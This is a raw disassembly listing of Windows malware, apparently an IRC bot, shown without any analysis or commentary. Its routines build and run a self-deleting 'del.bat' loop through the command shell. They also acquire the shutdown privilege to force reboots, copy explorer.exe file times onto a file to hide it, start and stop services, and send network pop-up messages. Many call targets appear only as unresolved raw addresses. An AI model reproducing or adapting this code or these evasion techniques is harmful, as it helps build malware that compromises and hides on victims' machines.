fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4276E8
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_417C5A: ; CODE XREF: sub_417ADD+111j
; sub_417ADD+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41C1E0
add esp, 0Ch
loc_417C6D: ; CODE XREF: sub_417ADD+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41AFE0
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41D648
pop ecx
test eax, eax
pop ecx
jnz loc_417ED5
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz loc_417DCC
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
call sub_41C798
cmp esi, 3
jz short loc_417CDB
cmp eax, 1
jnz loc_417DCC
loc_417CDB: ; CODE XREF: sub_417ADD+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_417D1D
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E8
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_417D39
; ---------------------------------------------------------------------------
loc_417D1D: ; CODE XREF: sub_417ADD+207j
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_417D39: ; CODE XREF: sub_417ADD+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41C798
cmp esi, 3
jz short loc_417D62
cmp eax, ebx
jnz short loc_417DCC
loc_417D62: ; CODE XREF: sub_417ADD+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_417DA7
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E8
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_417DC5
; ---------------------------------------------------------------------------
loc_417DA7: ; CODE XREF: sub_417ADD+28Fj
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_417DC5: ; CODE XREF: sub_417ADD+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_417DCC: ; CODE XREF: sub_417ADD+1C9j
; sub_417ADD+1F8j ...
cmp esi, 6
jge loc_417E55
cmp esi, 5
jge short loc_417DED
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276F0
jmp short loc_417E0B
; ---------------------------------------------------------------------------
loc_417DED: ; CODE XREF: sub_417ADD+2FBj
call sub_41B8E2
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
loc_417E0B: ; CODE XREF: sub_417ADD+30Ej
call sub_41C798
test eax, eax
jnz short loc_417E2E
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C8
call sub_41C798
mov cl, 30h
jmp short loc_417E4B
; ---------------------------------------------------------------------------
loc_417E2E: ; CODE XREF: sub_417ADD+335j
cmp eax, 1
jnz short loc_417E55
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
mov cl, 41h
loc_417E4B: ; CODE XREF: sub_417ADD+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_417E55: ; CODE XREF: sub_417ADD+2F2j
; sub_417ADD+354j
cmp [ebp+var_C], 2
jge short loc_417ED5
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E8
call sub_41C798
cmp eax, 1
jnz short loc_417ED5
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C8
call sub_41C798
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41C798
cmp eax, 1
jnz short loc_417ED5
cmp [ebp+var_C], eax
jge short loc_417ED5
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41C798
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_417ED5: ; CODE XREF: sub_417ADD+1B1j
; sub_417ADD+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41B5F0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417ADD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp
; sub_401ACD+C28p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_417F79
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_417F79
cmp [ebp+arg_8], esi
jz short loc_417F79
cmp byte ptr [eax], 0
jz short loc_417F79
push ebx
push edi
call sub_426464
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_417F74
push [ebp+arg_4]
push edi
call sub_41B900
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_417F6D
sub eax, edi
push eax
push edi
push ebx
call sub_41B5F0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41AFE0
push eax
push [ebp+arg_8]
push ebx
call sub_41C1E0
push [ebp+arg_4]
call sub_41AFE0
add eax, esi
push eax
push ebx
call sub_41BEC0
push ebx
push edi
call sub_41BEB0
add esp, 30h
mov esi, edi
loc_417F6D: ; CODE XREF: sub_417EEE+3Cj
push ebx
call sub_41B0B1
pop ecx
loc_417F74: ; CODE XREF: sub_417EEE+2Bj
mov eax, esi
pop ebx
jmp short loc_417F7B
; ---------------------------------------------------------------------------
loc_417F79: ; CODE XREF: sub_417EEE+Cj
; sub_417EEE+13j ...
xor eax, eax
loc_417F7B: ; CODE XREF: sub_417EEE+89j
pop edi
pop esi
pop ebp
retn
sub_417EEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F7F proc near ; CODE XREF: sub_401955+E9p
; ___:004102F0p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41B590
mov esi, [ebp+arg_0]
push esi
call sub_41AFE0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_417FB5
or eax, 0FFFFFFFFh
jmp short loc_418028
; ---------------------------------------------------------------------------
loc_417FB5: ; CODE XREF: sub_417F7F+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_417FD7
loc_417FC1: ; CODE XREF: sub_417F7F+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_417FCE
cmp dl, 0Dh
jnz short loc_417FD2
loc_417FCE: ; CODE XREF: sub_417F7F+48j
and byte ptr [ecx+esi], 0
loc_417FD2: ; CODE XREF: sub_417F7F+4Dj
inc ecx
cmp ecx, eax
jl short loc_417FC1
loc_417FD7: ; CODE XREF: sub_417F7F+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418008
lea edi, [ebp+var_7CC]
loc_417FE4: ; CODE XREF: sub_417F7F+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418003
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418003
cmp ebx, 1F4h
jge short loc_418008
mov [edi], ecx
inc ebx
add edi, 4
loc_418003: ; CODE XREF: sub_417F7F+69j
; sub_417F7F+74j
inc edx
cmp edx, eax
jl short loc_417FE4
loc_418008: ; CODE XREF: sub_417F7F+5Dj
; sub_417F7F+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418026
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41C310
add esp, 0Ch
loc_418026: ; CODE XREF: sub_417F7F+8Ej
mov eax, ebx
loc_418028: ; CODE XREF: sub_417F7F+34j
pop esi
pop ebx
leave
retn
sub_417F7F endp
; =============== S U B R O U T I N E =======================================
sub_41802C proc near ; CODE XREF: sub_418086+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_418065
push ebx
mov ebx, edi
loc_418049: ; CODE XREF: sub_41802C+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_418068
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418049
pop ebx
loc_418065: ; CODE XREF: sub_41802C+18j
pop edi
pop esi
retn
sub_41802C endp
; =============== S U B R O U T I N E =======================================
sub_418068 proc near ; CODE XREF: sub_41802C+25p
; sub_418086+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41D74C
cmp al, 61h
pop ecx
jl short loc_418083
cmp al, 7Ah
jg short loc_418083
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_418083: ; CODE XREF: sub_418068+Ej
; sub_418068+12j
xor eax, eax
retn
sub_418068 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418086 proc near ; CODE XREF: ___:0041532Dp
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41BB20
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AFE0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41AFE0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_41802C
add esp, 14h
dec esi
mov edi, esi
loc_4180C4: ; CODE XREF: sub_418086+B6j
test esi, esi
jle short loc_418142
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D74C
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41D74C
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41813A
loc_4180EA: ; CODE XREF: sub_418086+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_418068
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_41810B
mov eax, ecx
loc_41810B: ; CODE XREF: sub_418086+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41813E
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D74C
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41D74C
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_4180EA
loc_41813A: ; CODE XREF: sub_418086+62j
dec edi
dec esi
jmp short loc_4180C4
; ---------------------------------------------------------------------------
loc_41813E: ; CODE XREF: sub_418086+8Aj
xor eax, eax
jmp short loc_418147
; ---------------------------------------------------------------------------
loc_418142: ; CODE XREF: sub_418086+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_418147: ; CODE XREF: sub_418086+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_418086 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p
; sub_401ACD+789Ep
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call near ptr 2830047h
nop
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call near ptr 2980000h
nop
lea eax, [ebp+var_100]
loc_418185: ; CODE XREF: sub_41814C+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_418191
cmp cl, 9
jnz short loc_418194
loc_418191: ; CODE XREF: sub_41814C+3Ej
inc eax
jmp short loc_418185
; ---------------------------------------------------------------------------
loc_418194: ; CODE XREF: sub_41814C+43j
; sub_41814C+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4181AE
mov cl, [eax]
cmp cl, 2Eh
jz short loc_418194
cmp cl, 21h
jl short loc_418194
loc_4181AE: ; CODE XREF: sub_41814C+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DADDC
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41B980
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_41814C endp
; =============== S U B R O U T I N E =======================================
sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp
push esi
push 0
call dword_4CB5F4
test eax, eax
jz short loc_41820D
push 1
call dword_4CB614
mov esi, eax
test esi, esi
jz short loc_41820D
push edi
push esi
nop
call near ptr 29906B2h
push esi
mov edi, eax
call near ptr 2990000h
nop
call dword_4CB678
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41820D: ; CODE XREF: sub_4181D6+Bj
; sub_4181D6+19j
xor eax, eax
pop esi
retn
sub_4181D6 endp
; =============== S U B R O U T I N E =======================================
sub_418211 proc near ; CODE XREF: sub_401ACD+7661p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CB630
mov ebp, eax
cmp ebp, esi
jz short loc_41828D
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
nop
call near ptr 29A01C2h
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call near ptr 29A0000h
nop
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41B886
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CB680
push esi
push 1
push 4C9h
push ebp
call dword_4CB680
push ebx
nop
call near ptr 2990BF2h
push edi
call near ptr 28005AFh
nop
push 1
pop eax
pop ebx
jmp short loc_41828F
; ---------------------------------------------------------------------------
loc_41828D: ; CODE XREF: sub_418211+16j
xor eax, eax
loc_41828F: ; CODE XREF: sub_418211+7Aj
pop edi
pop esi
pop ebp
retn
sub_418211 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418293 proc near ; CODE XREF: ___:00401433p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CB6E0
test eax, eax
jz short loc_418332
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4270EC
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_418332
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 29B0000h
push ebx
mov ebx, dword_427068
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_418332
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
nop
call near ptr 29A0859h
push esi
call ebx
loc_418332: ; CODE XREF: sub_418293+2Aj
; sub_418293+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_418293 endp
; =============== S U B R O U T I N E =======================================
sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419651
pop ecx
pop ecx
push 50005h
push 6
call dword_4CB564
neg eax
sbb eax, eax
neg eax
retn
sub_418337 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418359 proc near ; CODE XREF: sub_401ACD+2754p
; ___:0041686Bp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_41837D
cmp dword_4CB6F4, esi
jnz short loc_41837D
push esi
call sub_401000
pop ecx
loc_41837D: ; CODE XREF: sub_418359+13j
; sub_418359+1Bj
call sub_40B2BF
lea eax, [ebp+var_764]
push eax
push 400h
nop
call near ptr 284016Dh
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
nop
call near ptr 28B0703h
mov edi, eax
cmp edi, esi
jbe loc_4184DD
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
nop
call near ptr 28A0000h
push edi
nop
call near ptr 28005AFh
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41B590
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset dword_43D7D8
mov [ebp+var_2C], 1
mov [ebp+var_28], si
nop
call near ptr 2830635h
push eax
nop
call near ptr 2810000h
lea eax, [ebp+var_15C]
push eax
nop
call near ptr 2830500h
cmp eax, 0FFFFFFFFh
jz short loc_418485
lea eax, [ebp+var_15C]
push 80h
push eax
nop
call near ptr 28303CBh
loc_418485: ; CODE XREF: sub_418359+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
nop
call near ptr 29C0000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
nop
call near ptr 2800890h
loc_4184DD: ; CODE XREF: sub_418359+72j
pop edi
pop esi
leave
retn
sub_418359 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 2880000h
cmp [ebp+var_84], 2
jnz short loc_418577
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CB5A4
push edi
push eax
call dword_4CB5B4
test eax, eax
jz short loc_418569
push [ebp+arg_10]
push offset dword_439040
loc_418542: ; CODE XREF: sub_4184E1+94j
lea eax, [ebp+var_294]
push eax
call sub_41B886
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 20h
jmp short loc_4185A1
; ---------------------------------------------------------------------------
loc_418569: ; CODE XREF: sub_4184E1+57j
call near ptr 2830047h
nop
push eax
push offset unk_439018
jmp short loc_418542
; ---------------------------------------------------------------------------
loc_418577: ; CODE XREF: sub_4184E1+3Fj
lea eax, [ebp+var_294]
push offset unk_438FE8
push eax
call sub_41B886
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 1Ch
loc_4185A1: ; CODE XREF: sub_4184E1+86j
pop edi
leave
retn
sub_4184E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call near ptr 2880000h
nop
cmp [ebp+var_90], 4
jnz short loc_4185FA
cmp [ebp+var_8C], 0
jnz short loc_4185E3
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_4185FA
leave
retn
; ---------------------------------------------------------------------------
loc_4185E3: ; CODE XREF: sub_4185A4+30j
cmp [ebp+var_8C], 0Ah
jz short loc_4185F5
cmp [ebp+var_8C], 5Ah
jnz short loc_4185FA
loc_4185F5: ; CODE XREF: sub_4185A4+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4185FA: ; CODE XREF: sub_4185A4+27j
; sub_4185A4+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call near ptr 2850000h
nop
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call near ptr 28503A1h
nop
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41D834
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41D834
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41D834
lea eax, [ebp+var_F8]
push eax
call sub_41D817
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi
add esp, 3Ch
mov edi, eax
push esi
nop
call near ptr 2940449h
mov eax, edi
pop edi
pop esi
leave
retn
sub_4185A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418684 proc near ; CODE XREF: sub_40111D+F7p
; ___:0040E6E2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
nop
call near ptr 2830E52h
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_427700
call sub_41C798
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418684 endp
; =============== S U B R O U T I N E =======================================
sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418719
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_439068[esi]
push edi
push eax
call sub_41873B
add esp, 14h
test eax, eax
jnz short loc_418709
push edi
push off_439064[esi]
push offset unk_439178
loc_4186F9: ; CODE XREF: sub_4186C1+56j
mov esi, offset dword_4DB6A0
push esi
call sub_41B886
add esp, 10h
jmp short loc_418736
; ---------------------------------------------------------------------------
loc_418709: ; CODE XREF: sub_4186C1+2Aj
push eax
call sub_4187DD
pop ecx
push eax
push edi
push offset unk_43914C
jmp short loc_4186F9
; ---------------------------------------------------------------------------
loc_418719: ; CODE XREF: sub_4186C1+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DB6A0
push off_439060[eax*4]
push offset unk_439128
push esi
call sub_41B886
add esp, 0Ch
loc_418736: ; CODE XREF: sub_4186C1+46j
mov eax, esi
pop edi
pop esi
retn
sub_4186C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41873B proc near ; CODE XREF: sub_4186C1+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CB618
mov edi, eax
cmp edi, ebx
jnz short loc_418762
nop
call near ptr 2830047h
mov ebx, eax
jmp short loc_4187D7
; ---------------------------------------------------------------------------
loc_418762: ; CODE XREF: sub_41873B+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CB500
mov esi, eax
cmp esi, ebx
jnz short loc_418782
nop
call near ptr 2830047h
mov ebx, eax
jmp short loc_4187CF
; ---------------------------------------------------------------------------
loc_418782: ; CODE XREF: sub_41873B+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_4187B5
cmp eax, 3
jz short loc_4187A6
jle short loc_4187C8
cmp eax, 6
jg short loc_4187C8
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CB56C
jmp short loc_4187BC
; ---------------------------------------------------------------------------
loc_4187A6: ; CODE XREF: sub_41873B+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CB508
jmp short loc_4187BC
; ---------------------------------------------------------------------------
loc_4187B5: ; CODE XREF: sub_41873B+4Dj
push esi
call dword_4CB570
loc_4187BC: ; CODE XREF: sub_41873B+69j
; sub_41873B+78j
test eax, eax
jnz short loc_4187C8
nop
call near ptr 2830047h
mov ebx, eax
loc_4187C8: ; CODE XREF: sub_41873B+54j
; sub_41873B+59j ...
push esi
call dword_4CB51C
loc_4187CF: ; CODE XREF: sub_41873B+45j
push edi
call dword_4CB51C
pop esi
loc_4187D7: ; CODE XREF: sub_41873B+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_41873B endp
; =============== S U B R O U T I N E =======================================
sub_4187DD proc near ; CODE XREF: sub_4186C1+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418892
jz loc_41888B
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418855
jz short loc_41884B
mov ecx, eax
sub ecx, 3
jz short loc_418841
dec ecx
dec ecx
jz short loc_418837
dec ecx
jz short loc_41882D
sub ecx, 51h
jz short loc_418823
sub ecx, 24h
jnz loc_418908 ; default
; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418823: ; CODE XREF: sub_4187DD+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_41882D: ; CODE XREF: sub_4187DD+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_4188FA
; ---------------------------------------------------------------------------
loc_418837: ; CODE XREF: sub_4187DD+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_4188FA
; ---------------------------------------------------------------------------
